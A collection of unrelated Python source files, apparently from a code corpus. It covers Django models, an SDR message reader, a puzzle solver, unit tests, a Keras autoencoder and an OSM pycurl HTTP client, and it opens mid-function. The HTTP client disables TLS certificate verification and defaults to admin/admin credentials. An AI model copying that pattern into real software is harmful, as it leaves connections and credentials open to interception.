self.D)**2 * cos2th) # contents can never be negative n_fast = np.sqrt((B - F) / (2 * A)) n_slow = np.sqrt((B + F) / (2 * A)) return np.concatenate((n_fast[...,np.newaxis], n_slow[...,np.newaxis]), axis=-1)
nilq/baby-python
python
from smtplib import SMTPException from django.db import models from django.utils.translation import ugettext_lazy as _ from django.core.validators import MinLengthValidator from django.core.mail.message import EmailMultiAlternatives from django.conf import settings from django.template.loader import render_to_string from cms.models.pluginmodel import CMSPlugin from common.models import ActivableModel, TimestampedModel class ContactFormPluginModel(CMSPlugin): name_fname = models.CharField( _('name of the name field'), max_length=100, default=_('Your name') ) name_placeholder = models.CharField( _('placeholder of the name field'), max_length=100, default=_('Type your name') ) email_fname = models.CharField( _('name of the e-mail field'), max_length=100, default=_('Your e-mail') ) email_placeholder = models.CharField( _('placeholder of the e-mail field'), max_length=100, default=_('Type your e-mail') ) message_fname = models.CharField( _('name of the message field'), max_length=100, default=_('Your message') ) message_placeholder = models.CharField( _('placeholder of the message field'), max_length=100, default=_('Type your message here') ) button_text = models.CharField( _('submit button text'), max_length=100, default=_('SEND MESSAGE') ) def __str__(self): return '(Contact Form)' def copy_relations(self, oldinstance): self.recipients.all().delete() for recipient in oldinstance.recipients.all(): recipient.id = None recipient.plugin = self recipient.save() class Recipient(ActivableModel, TimestampedModel): TO, CC, BCC = ('TO', 'CC', 'BCC') R_TYPE_CHOICES = ( (TO, TO), (CC, CC), (BCC, BCC) ) plugin = models.ForeignKey( verbose_name=_('Contact Form Plugin'), to=ContactFormPluginModel, null=True, on_delete=models.SET_NULL, related_name='recipients' ) name = models.CharField(_('name'), max_length=100) email = models.EmailField(_('e-mail')) recipient_type = models.CharField( _('recipient type'), max_length=3, choices=R_TYPE_CHOICES, default=TO, help_text=_( 'Type of the recipient: TO - normal, CC - copy, BCC - hidden copy.' ) ) def __str__(self): return ( f'{self.get_recipient_type_display()}: ' f'{self.name} <{self.email}>' ) class ContactMessage(TimestampedModel): STATUS_PENDING, STATUS_SUCCESS, STATUS_ERROR = range(1, 4) STATUS_CHOICES = ( (STATUS_PENDING, _('pending')), (STATUS_SUCCESS, _('sent')), (STATUS_ERROR, _('error')) ) sender_name = models.CharField( _('sender name'), max_length=100, null=False, blank=False ) sender_email = models.EmailField( _('sender e-mail'), null=False, blank=False ) message = models.TextField( _('message'), null=False, blank=False, validators=[MinLengthValidator(20)], ) status = models.SmallIntegerField( _('status'), choices=STATUS_CHOICES, default=STATUS_PENDING ) status_msg = models.TextField( _('Status message') ) recipients = models.ManyToManyField( to=Recipient, verbose_name=_('recipients'), blank=False ) class Meta: verbose_name = _('Contact Message') verbose_name_plural = _('Contact Messages') def __str__(self): return _('{status} message from {email}').format( status=self.get_status_display(), email=self.sender_email ) def send(self, do_save=True): recipients = self.recipients.all() to = [r.email for r in recipients if r.recipient_type == Recipient.TO] bcc = [r.email for r in recipients if r.recipient_type == Recipient.BCC] cc = [r.email for r in recipients if r.recipient_type == Recipient.CC] msg_body = render_to_string( 'contact/email/contact_message.txt', { 'project_title': settings.PROJECT_TITLE, 'instance': self } ) mail = EmailMultiAlternatives( subject=settings.CONTACT_MSG_SUBJECT.format( PROJECT_TITLE=settings.PROJECT_TITLE ), body=msg_body, to=to, bcc=bcc, cc=cc, reply_to=[self.sender_email] ) try: mail.send() except SMTPException as e: self.status = self.STATUS_ERROR self.status_msg = _('Sending failed:\n{}').format(e) if do_save: self.save() return False else: self.status = self.STATUS_SUCCESS self.status_msg = _('Successfully sent.') if do_save: self.save() return True
nilq/baby-python
python
import logging import sys import pyModeS as pms from pyModeS.extra.rtlreader import RtlReader class RtlSdrSource(RtlReader): def __init__(self): super(RtlSdrSource, self).__init__() def handle_messages(self, messages): if self.stop_flag.value is True: self.sdr.close() sys.exit(0) for msg, t in messages: if len(msg) < 28: # only process long messages continue logging.debug("Raw message: {}".format(msg)) df = pms.df(msg) if df == 17 or df == 18: logging.debug("Send message to pipe: {}".format(msg)) self.raw_pipe_in.send(msg) else: continue
nilq/baby-python
python
import numpy verbose = False def ride_of_fortune(artifact, explorers): artifact_object = Artifact(artifact) if verbose: print(artifact_object.artifact) results = [] for explorer_start_row in explorers: if verbose: print("====") explorer_object = Explorer(y=explorer_start_row, x=-1, dy=0, dx=1) while not explorer_object.exited: explorer_object.step() explorer_object.evaluate_and_rotate(artifact_object) results.append(explorer_object.result) return results class Explorer(): def __init__(self, y, x, dy, dx): self.y = y self.x = x self.dy = dy self.dx = dx self.result = None self.exited = False if verbose: print("new explorer at y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) def step(self): if verbose: print("about to step at y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) self.y += self.dy self.x += self.dx if verbose: print("just stepped at y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) def evaluate_and_rotate(self, artifact_object): if verbose: print("evaluating") if self.x < 0: self.exited = True self.result = None # exits back to land elif self.x == artifact_object.width: self.exited = True self.result = [self.y, self.x - 1] # exits at this location's portal elif self.y == artifact_object.height: self.exited = True self.result = [self.y - 1, self.x] elif self.y < 0: self.exited = True self.result = [0, self.x] if self.exited: if verbose: print("exited at y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) print('result', self.result) return # decide whether to rotate if artifact_object.artifact[self.y][self.x] != 0: if verbose: print("about to rotate y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) print(artifact_object.artifact) self.rotate(artifact_object) if verbose: print("did rotate y", self.y, "x", self.x, "moving dy", self.dy, "dx", self.dx) print(artifact_object.artifact) def rotate(self, artifact_object): switch_state = artifact_object.artifact[self.y][self.x] # rotate explorer if switch_state == 1: self.apply_state_one_rules() elif switch_state == -1: self.apply_state_minus_one_rules() artifact_object.artifact[self.y][self.x] *= -1 def apply_state_one_rules(self): if verbose: print("State one rules") dy = self.dy dx = self.dx if dy == 1 and dx == 0: # south dy, dx = 0, 1 # east elif dy == 0 and dx == 1: # east dy, dx = 1, 0 # south elif dy == -1 and dx == 0: # north dy, dx = 0, -1 # west elif dy == 0 and dx == -1: # west dy, dx = -1, 0 # north self.dy = dy self.dx = dx def apply_state_minus_one_rules(self): if verbose: print("State minus one rules") dy = self.dy dx = self.dx if dy == 1 and dx == 0: # south dy, dx = 0, -1 # west elif dy == 0 and dx == -1: # west dy, dx = 1, 0 # south elif dy == -1 and dx == 0: # north dy, dx = 0, 1 # east elif dy == 0 and dx == 1: # east dy, dx = -1, 0 # north self.dy = dy self.dx = dx class Artifact: def __init__(self, artifact): self.height = len(artifact) self.width = len(artifact[0]) n = numpy.zeros((self.height, self.width)) for i, row in enumerate(artifact): for j, char in enumerate(artifact[i]): if char == "A": n[i][j] = 1 elif char == "B": n[i][j] = -1 self.artifact = n
nilq/baby-python
python
# Copyright 2018 eShares, Inc. dba Carta, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software distributed # under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. from typing import Optional from .equality_operator import EqualityOperator from .greater_than_operator import GreaterThanOperator from .greater_than_or_equal_to_operator import GreaterThanOrEqualToOperator from .less_than_operator import LessThanOperator from .less_than_or_equal_to_operator import LessThanOrEqualToOperator from .negated_set_membership_operator import NegatedSetMembershipOperator from .negation_operator import NegationOperator from .set_membership_operator import SetMembershipOperator class Operator: OPERATOR_MAP = { EqualityOperator.SYMBOL: EqualityOperator, GreaterThanOperator.SYMBOL: GreaterThanOperator, GreaterThanOrEqualToOperator.SYMBOL: GreaterThanOrEqualToOperator, LessThanOperator.SYMBOL: LessThanOperator, LessThanOrEqualToOperator.SYMBOL: LessThanOrEqualToOperator, NegationOperator.SYMBOL: NegationOperator, SetMembershipOperator.SYMBOL: SetMembershipOperator, NegatedSetMembershipOperator.SYMBOL: NegatedSetMembershipOperator, } # Dict[Optional[str], Any] class InvalidSymbolError(Exception): pass @classmethod def factory(cls, operator_symbol: Optional[str]): try: return cls.OPERATOR_MAP[operator_symbol]() # type: ignore except KeyError: raise cls.InvalidSymbolError("Operator not supported: %s" % operator_symbol)
nilq/baby-python
python
# SPDX-FileCopyrightText: 2021 Genome Research Ltd. # # SPDX-License-Identifier: MIT from main.service import AssemblyService from main.swagger import AssemblySwagger from .base import BaseResource, setup_resource api_assembly = AssemblySwagger.api @setup_resource class AssemblyResource(BaseResource): class Meta: service = AssemblyService swagger = AssemblySwagger
nilq/baby-python
python
import unittest import numpy import tempfile from pyscf import lib, gto class KnowValues(unittest.TestCase): def test_save_load_mol(self): mol = gto.M(atom=[['H', (0,0,i)] for i in range(8)], basis='sto3g') fchk = tempfile.NamedTemporaryFile() lib.chkfile.save_mol(mol, fchk.name) mol1 = lib.chkfile.load_mol(fchk.name) self.assertTrue(numpy.all(mol1._atm == mol._atm)) self.assertTrue(numpy.all(mol1._bas == mol._bas)) self.assertTrue(numpy.all(mol1._env == mol._env)) def test_save_load_arrays(self): fchk = tempfile.NamedTemporaryFile() a = numpy.eye(3) lib.chkfile.save(fchk.name, 'a', a) self.assertTrue(numpy.all(a == lib.chkfile.load(fchk.name, 'a'))) a = [numpy.eye(3), numpy.eye(4)] lib.chkfile.save(fchk.name, 'a', a) dat = lib.chkfile.load(fchk.name, 'a') self.assertTrue(isinstance(dat, list)) self.assertTrue(numpy.all(a[1] == dat[1])) a = [[numpy.eye(4), numpy.eye(4)]]*2 lib.chkfile.save(fchk.name, 'a', a) dat = lib.chkfile.load(fchk.name, 'a') self.assertTrue(isinstance(dat, list)) self.assertTrue(isinstance(dat[0], list)) a = {'x':[numpy.eye(4), numpy.eye(4)], 'y':[numpy.eye(4)]} lib.chkfile.save(fchk.name, 'a', a) dat = lib.chkfile.load(fchk.name, 'a') self.assertTrue('x' in dat) self.assertTrue('y' in dat) if __name__ == "__main__": print("Full Tests for lib.chkfile") unittest.main()
nilq/baby-python
python
import sqlite3 from message import Message from friend import Friend ''' Created on Nov 14, 2013 @author: andyisaballa ''' STICKERS_ENABLED = 0 STICKERS_DISABLED = 1 STICKERS_ONLY = 2 def getMessagesByFriend(db, name, stickers=STICKERS_DISABLED): conn = sqlite3.connect(db) cursor = conn.cursor() if isinstance(name, str): nameQ = 'SELECT id FROM friend WHERE name=?;' name = cursor.execute(nameQ, (name, )).fetchone()[0] if stickers == STICKERS_DISABLED: query = "SELECT * FROM message WHERE sender=? AND message != 'NULL';" elif stickers == STICKERS_ONLY: query = "SELECT * FROM message WHERE sender=? AND message == 'NULL';" else: query = 'SELECT * FROM message WHERE sender=?;' messages = cursor.execute(query, (name, )).fetchall() cursor.close() conn.close() return [Message.fromTuple(m) for m in messages] def getFriends(db): conn = sqlite3.connect(db) cursor = conn.cursor() people = cursor.execute('SELECT * FROM friend;').fetchall() cursor.close() conn.close() return [Friend.fromTuple(f) for f in people]
nilq/baby-python
python
# The MIT License (MIT) # # Copyright (c) 2016 Russell Barlow III # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from __future__ import print_function from __future__ import division import os import re SourceDir = "C:\\Users\\guita_000\\Desktop\\Test" buildFilesList=[] def buildBuildFileList(SourceDir): for root, dirs, files in os.walk(SourceDir): for buildFile in files: if 'Build.cs' in buildFile: buildFilesList.append(os.path.join(root, buildFile)) return buildFilesList def editBuildFile(file_name): seek_target = "TargetInfo" file_object = open(file_name, "rt+") file_buffer = file_object.readlines() for i in range(len(file_buffer)): if seek_target in file_buffer[i]: for j in range(len(file_buffer)): if '{' in file_buffer[i+j]: file_buffer.insert(i+j+1, "\t\t\tbUseAVX = true;\n") file_object.seek(0) file_object.writelines(file_buffer) file_object.truncate() file_object.close() return file_buffer file_object.close() return file_buffer def editBuildFileRegex(file_name): #Open Source Build File file_object = open(file_name, "rt+") #Read The Build File Into Memory file_buffer = ''.join(file_object.readlines()) #Remove All Occurences Of bUseAVX = xxx; file_buffer = re.sub("[ \t]*bUseAVX[ \t]*=[ \t]*[true]*[false]*[ \t]*;[\s]*", "\t\t\t", file_buffer ) #Add bUseAVX = true; file_buffer = re.sub("(TargetInfo[ \t]+\w*[ \t]*\)\s*){", "\\1{\n\t\t\tbUseAVX = true;\n", file_buffer) #Write Result Back To File file_object.seek(0) file_object.writelines(file_buffer) file_object.truncate() file_object.close() def editBuildFileList(SourceDir): buildFilesList = buildBuildFileList(SourceDir) for file_index in range(len(buildFilesList)): editBuildFile( buildFilesList[file_index] ) editBuildFileList(SourceDir)
nilq/baby-python
python
from abc import ABC, abstractmethod from boltons.cacheutils import cachedproperty class BaseEnv(ABC): """ Abstract base class used for implementing new environments. """ def __init__(self): self.env = self._create_env() def __str__(self): return "<{}>".format(type(self).__name__) # TODO: Follow https://github.com/mahmoud/boltons/pull/184 @cachedproperty @abstractmethod def s_space(self): """ Returns a `space` object containing information about the state space. Example ------- State space containing 4 continuous observations: `return reward.utils.space.Continuous(low=0, high=1, shape=(4,))` """ @cachedproperty @abstractmethod def ac_space(self): """ Returns a `space` object containing information about the action space. Example ------- State space containing 4 continuous acs: `return reward.utils.space.Continuous(low=0, high=1, shape=(4,))` """ @abstractmethod def reset(self): """ Resets the environment to an initial state. Returns ------- numpy.ndarray A numpy array with the state information. """ @abstractmethod def step(self, ac): """ Receives an action and execute it on the environment. Parameters ---------- action: int or float or numpy.ndarray The action to be executed in the environment, it should be an ``int`` for discrete enviroments and ``float`` for continuous. There's also the possibility of executing multiple actions (if the environment supports so), in this case it should be a ``numpy.ndarray``. Returns ------- next_state: numpy.ndarray A numpy array with the state information. reward: float The reward. done: bool Flag indicating the termination of the episode. info: dict Dict containing additional information about the state. """ @abstractmethod def _create_env(self): """ Creates ans returns an environment. Returns ------- Environment object. """ @property def num_lives(self): raise NotImplementedError @property def unwrapped(self): return self def sample_random_ac(self): return self.ac_space.sample() def record(self, path): raise NotImplementedError def close(self): raise NotImplementedError
nilq/baby-python
python
# ------------------------------------------------------------------------------- # (c) 2020 Siemens AG # All Rights Reserved. # Author: thomas.graf@siemens.com # # Licensed under the MIT license. # SPDX-License-Identifier: MIT # ------------------------------------------------------------------------------- import sys import warnings import unittest import responses sys.path.insert(1, "..") from sw360 import SW360 # noqa: E402 class Sw360TestHealth(unittest.TestCase): MYTOKEN = "MYTOKEN" MYURL = "https://my.server.com/" ERROR_MSG_NO_LOGIN = "Unable to login" def setUp(self): warnings.filterwarnings( "ignore", category=ResourceWarning, message="unclosed.*<ssl.SSLSocket.*>") def _add_login_response(self): """ Add the response for a successfull login. """ responses.add( method=responses.GET, url=self.MYURL + "resource/api/", body="{'status': 'ok'}", status=200, content_type="application/json", adding_headers={"Authorization": "Token " + self.MYTOKEN}, ) @responses.activate def test_get_health_status(self): lib = SW360(self.MYURL, self.MYTOKEN, False) self._add_login_response() actual = lib.login_api() self.assertTrue(actual) responses.add( method=responses.GET, url=self.MYURL + "resource/health/", body='{"status": "UP"}', status=200, content_type="application/json", adding_headers={"Authorization": "Token " + self.MYTOKEN}, ) status = lib.get_health_status() self.assertIsNotNone(status) self.assertTrue("status" in status) if __name__ == "__main__": unittest.main()
nilq/baby-python
python
# Generated by Django 2.2.5 on 2019-12-02 00:40 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('accounts', '0012_auto_20191202_0038'), ] operations = [ migrations.RenameField( model_name='boleto', old_name='user_id', new_name='user', ), ]
nilq/baby-python
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jul 8 16:58:10 2020 @author: nephilim """ import keras import numpy as np import my_Im2col from matplotlib import pyplot,cm import skimage.transform import T_PowerGain import DataNormalized import Reshape2Encoder def GetPatch(Image,patch_size,slidingDis): blocks,idx=my_Im2col.my_im2col(Image,patch_size,slidingDis) return blocks,idx def CalculationSNR(Image,Noise): frac_up=np.sum(Image**2) frac_down=np.sum((Image-Noise)**2) SNR=10*np.log10(frac_up/frac_down) return SNR class AutoEncoder(): def __init__(self,ImageShape,filters,kernel_size,latent_dim): self.ImageShape=ImageShape self.filters=filters self.kernel_size=kernel_size self.latent_dim=latent_dim def Encoder(self): self.Encoder_Input=keras.Input(shape=self.ImageShape,name='Encoder_Input_2D') x=self.Encoder_Input for idx,_ in enumerate(self.filters): x=keras.layers.Conv2D(filters=self.filters[idx],kernel_size=self.kernel_size[idx],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.MaxPool2D((2,2))(x) self.shape=keras.backend.int_shape(x) # print(self.shape) x=keras.layers.Flatten()(x) Encoder_Output=keras.layers.Dense(self.latent_dim,name='Encoder_Ouput_1D')(x) self.EncoderMode=keras.models.Model(inputs=self.Encoder_Input,outputs=Encoder_Output,name='EncoderPart') self.EncoderMode.summary() self.EncoderMode.compile(loss='mse',optimizer='adam') def Decoder(self): Decoder_Input=keras.Input(shape=(self.latent_dim,),name='Decoder_Input_1D') x=keras.layers.Dense(self.shape[1]*self.shape[2]*self.shape[3])(Decoder_Input) x=keras.layers.Reshape((self.shape[1],self.shape[2],self.shape[3]))(x) for idx,_ in enumerate(self.filters): x=keras.layers.Conv2DTranspose(filters=self.filters[len(self.filters)-idx-1],kernel_size=self.kernel_size[len(self.kernel_size)-idx-1],activation='relu',padding='same')(x) x=keras.layers.BatchNormalization()(x) x=keras.layers.UpSampling2D((2,2))(x) Decoder_Output=keras.layers.Conv2DTranspose(filters=1,kernel_size=5,activation='sigmoid',padding='same',name='Decoder_Output_1D')(x) self.DecoderMode=keras.models.Model(inputs=Decoder_Input,outputs=Decoder_Output) self.DecoderMode.summary() self.DecoderMode.compile(loss='mse',optimizer='adam') if __name__=='__main__': AutoEncoder_=AutoEncoder(ImageShape=(512,512,1),filters=[16,32,64],kernel_size=[5,5,5],latent_dim=256) AutoEncoder_.Encoder() patch_size=(512,512) slidingDis=64 Iteration=100 ProfileGain_train=[] for iteration in range(Iteration): Profile=np.load('./GPR_Modelling/Profile_TunnelLining/TunnelLining_Iter_%s.npy'%iteration) ProfileGain=T_PowerGain.tpowGain(Profile,np.arange(7000)/4,0.9) ProfileGain=skimage.transform.resize(ProfileGain,(512,512),mode='edge') ProfileGain=DataNormalized.DataNormalized(ProfileGain)/255 ProfileGain_Patch,_=GetPatch(ProfileGain,patch_size,slidingDis) ProfileGain_train.append(ProfileGain_Patch) Iteration=100 compare=1 for iteration in range(Iteration): Profile=np.load('./GPR_Modelling/ProfileAutoEncoder/%s_iter_record_%s_comp.npy'%(iteration,compare)) ProfileGain=T_PowerGain.tpowGain(Profile,np.arange(7000)/4,0.9) ProfileGain=skimage.transform.resize(ProfileGain,(512,512),mode='edge') ProfileGain=DataNormalized.DataNormalized(ProfileGain)/255 ProfileGain_Patch,_=GetPatch(ProfileGain,patch_size,slidingDis) ProfileGain_train.append(ProfileGain_Patch) ProfileGain_train=np.array(ProfileGain_train) Profile_train=Reshape2Encoder.ReshapeData2Encoder(ProfileGain_train,patch_size) del ProfileGain,ProfileGain_Patch,ProfileGain_train layer_outputs=[layer.output for layer in AutoEncoder_.EncoderMode.layers[1:None]] activation_model=keras.models.Model(inputs=AutoEncoder_.EncoderMode.input,outputs=layer_outputs) activations=activation_model.predict(Profile_train[2:3,:,:]) # pyplot.figure() # pyplot.imshow(ProfileGain) # pyplot.figure() # pyplot.imshow(activations[1][0,:,:,0]) # pyplot.figure() # pyplot.imshow(activations[3][0,:,:,0]) # pyplot.figure() # pyplot.imshow(activations[5][0,:,:,0]) # pyplot.figure() # pyplot.imshow(ProfileGain) # pyplot.figure() # pyplot.imshow(display_grid[0,:,:]) # pyplot.figure() # pyplot.imshow(display_grid[1,:,:]) # pyplot.figure() # pyplot.imshow(display_grid[2,:,:]) # pyplot.figure() # pyplot.imshow(Profile_train[1541,:,:,0]) # # pyplot.figure() # # pyplot.imshow(activations[1][0,:,:,0]) # # pyplot.figure() # # pyplot.imshow(activations[3][0,:,:,0]) # # pyplot.figure() # # pyplot.imshow(activations[5][0,:,:,0]) # image_per_row=16 # for layer_activation in activations: # n_features=layer_activation.shape[-1] # size=layer_activation.shape[1] # n_cols=n_features//image_per_row # display_grid=np.zeros((size*n_cols,image_per_row*size)) # for col in range(n_cols): # for row in range(image_per_row): # channel_image=layer_activation[0,:,:,col*image_per_row+row] # display_grid[col*size:(col+1)*size,row*size:(row+1)*size]=channel_image # pyplot.figure() # pyplot.imshow(display_grid[:,:]) # pyplot.axis('off') pyplot.figure() data=Profile_train[2:3,:,:] data=data[0,:,:,0] pyplot.imshow(data,cmap=cm.seismic) pyplot.axis('off') pyplot.savefig('OriginalInput.png',dpi=1000) FirstConv2DLayer=activations[2] image_per_row=4 n_features=FirstConv2DLayer.shape[-1] size=FirstConv2DLayer.shape[1] n_cols=n_features//image_per_row display_grid=np.zeros((n_cols*size,image_per_row*size)) for col in range(n_cols): for row in range(image_per_row): channel_image=FirstConv2DLayer[0,:,:,col*image_per_row+row] display_grid[col*size:(col+1)*size,row*size:(row+1)*size]=channel_image pyplot.figure() pyplot.imshow(display_grid[:,:],vmin=-0.2,vmax=0.4,cmap=cm.seismic) pyplot.axis('off') pyplot.savefig('FirstConv2D.png',dpi=1000) FirstConv2DLayer=activations[5] image_per_row=8 n_features=FirstConv2DLayer.shape[-1] size=FirstConv2DLayer.shape[1] n_cols=n_features//image_per_row display_grid=np.zeros((n_cols*size,image_per_row*size)) for col in range(n_cols): for row in range(image_per_row): channel_image=FirstConv2DLayer[0,:,:,col*image_per_row+row] display_grid[col*size:(col+1)*size,row*size:(row+1)*size]=channel_image pyplot.figure() pyplot.imshow(display_grid[:,:],vmin=-0.2,vmax=0.4,cmap=cm.seismic) pyplot.axis('off') pyplot.savefig('SecondConv2D.png',dpi=1000) FirstConv2DLayer=activations[8] image_per_row=8 n_features=FirstConv2DLayer.shape[-1] size=FirstConv2DLayer.shape[1] n_cols=n_features//image_per_row display_grid=np.zeros((n_cols*size,image_per_row*size)) for col in range(n_cols): for row in range(image_per_row): channel_image=FirstConv2DLayer[0,:,:,col*image_per_row+row] display_grid[col*size:(col+1)*size,row*size:(row+1)*size]=channel_image pyplot.figure() pyplot.imshow(display_grid[:,:],vmin=-0.2,vmax=0.4,cmap=cm.seismic) pyplot.axis('off') pyplot.savefig('ThirdConv2D.png',dpi=1000)
nilq/baby-python
python
# Copyright 2018 Telefonica # # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy from io import BytesIO import json import logging from osmclient.common import http from osmclient.common.exceptions import OsmHttpException, NotFound import pycurl class Http(http.Http): CONNECT_TIMEOUT = 15 def __init__(self, url, user='admin', password='admin', **kwargs): self._url = url self._user = user self._password = password self._http_header = None self._logger = logging.getLogger('osmclient') self._default_query_admin = None self._all_projects = None self._public = None if 'all_projects' in kwargs: self._all_projects = kwargs['all_projects'] if 'public' in kwargs: self._public = kwargs['public'] self._default_query_admin = self._complete_default_query_admin() def _complete_default_query_admin(self): query_string_list = [] if self._all_projects: query_string_list.append("ADMIN") if self._public is not None: query_string_list.append("PUBLIC={}".format(self._public)) return "&".join(query_string_list) def _complete_endpoint(self, endpoint): if self._default_query_admin: if '?' in endpoint: endpoint = '&'.join([endpoint, self._default_query_admin]) else: endpoint = '?'.join([endpoint, self._default_query_admin]) return endpoint def _get_curl_cmd(self, endpoint, skip_query_admin=False): self._logger.debug("") curl_cmd = pycurl.Curl() if self._logger.getEffectiveLevel() == logging.DEBUG: curl_cmd.setopt(pycurl.VERBOSE, True) if not skip_query_admin: endpoint = self._complete_endpoint(endpoint) curl_cmd.setopt(pycurl.CONNECTTIMEOUT, self.CONNECT_TIMEOUT) curl_cmd.setopt(pycurl.URL, self._url + endpoint) curl_cmd.setopt(pycurl.SSL_VERIFYPEER, 0) curl_cmd.setopt(pycurl.SSL_VERIFYHOST, 0) if self._http_header: curl_cmd.setopt(pycurl.HTTPHEADER, self._http_header) return curl_cmd def delete_cmd(self, endpoint, skip_query_admin=False): self._logger.debug("") data = BytesIO() curl_cmd = self._get_curl_cmd(endpoint, skip_query_admin) curl_cmd.setopt(pycurl.CUSTOMREQUEST, "DELETE") curl_cmd.setopt(pycurl.WRITEFUNCTION, data.write) self._logger.info("Request METHOD: {} URL: {}".format("DELETE", self._url + endpoint)) curl_cmd.perform() http_code = curl_cmd.getinfo(pycurl.HTTP_CODE) self._logger.info("Response HTTPCODE: {}".format(http_code)) curl_cmd.close() self.check_http_response(http_code, data) # TODO 202 accepted should be returned somehow if data.getvalue(): data_text = data.getvalue().decode() self._logger.verbose("Response DATA: {}".format(data_text)) return http_code, data_text else: return http_code, None def send_cmd(self, endpoint='', postfields_dict=None, formfile=None, filename=None, put_method=False, patch_method=False, skip_query_admin=False): self._logger.debug("") data = BytesIO() curl_cmd = self._get_curl_cmd(endpoint, skip_query_admin) if put_method: curl_cmd.setopt(pycurl.CUSTOMREQUEST, "PUT") elif patch_method: curl_cmd.setopt(pycurl.CUSTOMREQUEST, "PATCH") curl_cmd.setopt(pycurl.POST, 1) curl_cmd.setopt(pycurl.WRITEFUNCTION, data.write) if postfields_dict is not None: jsondata = json.dumps(postfields_dict) if 'password' in postfields_dict: postfields_dict_copy = copy.deepcopy(postfields_dict) postfields_dict_copy['password'] = '******' jsondata_log = json.dumps(postfields_dict_copy) else: jsondata_log = jsondata self._logger.verbose("Request POSTFIELDS: {}".format(jsondata_log)) curl_cmd.setopt(pycurl.POSTFIELDS, jsondata) elif formfile is not None: curl_cmd.setopt( pycurl.HTTPPOST, [((formfile[0], (pycurl.FORM_FILE, formfile[1])))]) elif filename is not None: with open(filename, 'rb') as stream: postdata = stream.read() self._logger.verbose("Request POSTFIELDS: Binary content") curl_cmd.setopt(pycurl.POSTFIELDS, postdata) if put_method: self._logger.info("Request METHOD: {} URL: {}".format("PUT", self._url + endpoint)) elif patch_method: self._logger.info("Request METHOD: {} URL: {}".format("PATCH", self._url + endpoint)) else: self._logger.info("Request METHOD: {} URL: {}".format("POST", self._url + endpoint)) curl_cmd.perform() http_code = curl_cmd.getinfo(pycurl.HTTP_CODE) self._logger.info("Response HTTPCODE: {}".format(http_code)) curl_cmd.close() self.check_http_response(http_code, data) if data.getvalue(): data_text = data.getvalue().decode() self._logger.verbose("Response DATA: {}".format(data_text)) return http_code, data_text else: return http_code, None def post_cmd(self, endpoint='', postfields_dict=None, formfile=None, filename=None, skip_query_admin=False): self._logger.debug("") return self.send_cmd(endpoint=endpoint, postfields_dict=postfields_dict, formfile=formfile, filename=filename, put_method=False, patch_method=False, skip_query_admin=skip_query_admin) def put_cmd(self, endpoint='', postfields_dict=None, formfile=None, filename=None, skip_query_admin=False): self._logger.debug("") return self.send_cmd(endpoint=endpoint, postfields_dict=postfields_dict, formfile=formfile, filename=filename, put_method=True, patch_method=False, skip_query_admin=skip_query_admin) def patch_cmd(self, endpoint='', postfields_dict=None, formfile=None, filename=None, skip_query_admin=False): self._logger.debug("") return self.send_cmd(endpoint=endpoint, postfields_dict=postfields_dict, formfile=formfile, filename=filename, put_method=False, patch_method=True, skip_query_admin=skip_query_admin) def get2_cmd(self, endpoint, skip_query_admin=False): self._logger.debug("") data = BytesIO() curl_cmd = self._get_curl_cmd(endpoint, skip_query_admin) curl_cmd.setopt(pycurl.HTTPGET, 1) curl_cmd.setopt(pycurl.WRITEFUNCTION, data.write) self._logger.info("Request METHOD: {} URL: {}".format("GET", self._url + endpoint)) curl_cmd.perform() http_code = curl_cmd.getinfo(pycurl.HTTP_CODE) self._logger.info("Response HTTPCODE: {}".format(http_code)) curl_cmd.close() self.check_http_response(http_code, data) if data.getvalue(): data_text = data.getvalue().decode() self._logger.verbose("Response DATA: {}".format(data_text)) return http_code, data_text return http_code, None def check_http_response(self, http_code, data): if http_code >= 300: resp = "" if data.getvalue(): data_text = data.getvalue().decode() self._logger.verbose("Response {} DATA: {}".format(http_code, data_text)) resp = ": " + data_text else: self._logger.verbose("Response {}".format(http_code)) if http_code == 404: raise NotFound("Error {}{}".format(http_code, resp)) raise OsmHttpException("Error {}{}".format(http_code, resp)) def set_query_admin(self, **kwargs): if 'all_projects' in kwargs: self._all_projects = kwargs['all_projects'] if 'public' in kwargs: self._public = kwargs['public'] self._default_query_admin = self._complete_default_query_admin()
nilq/baby-python
python
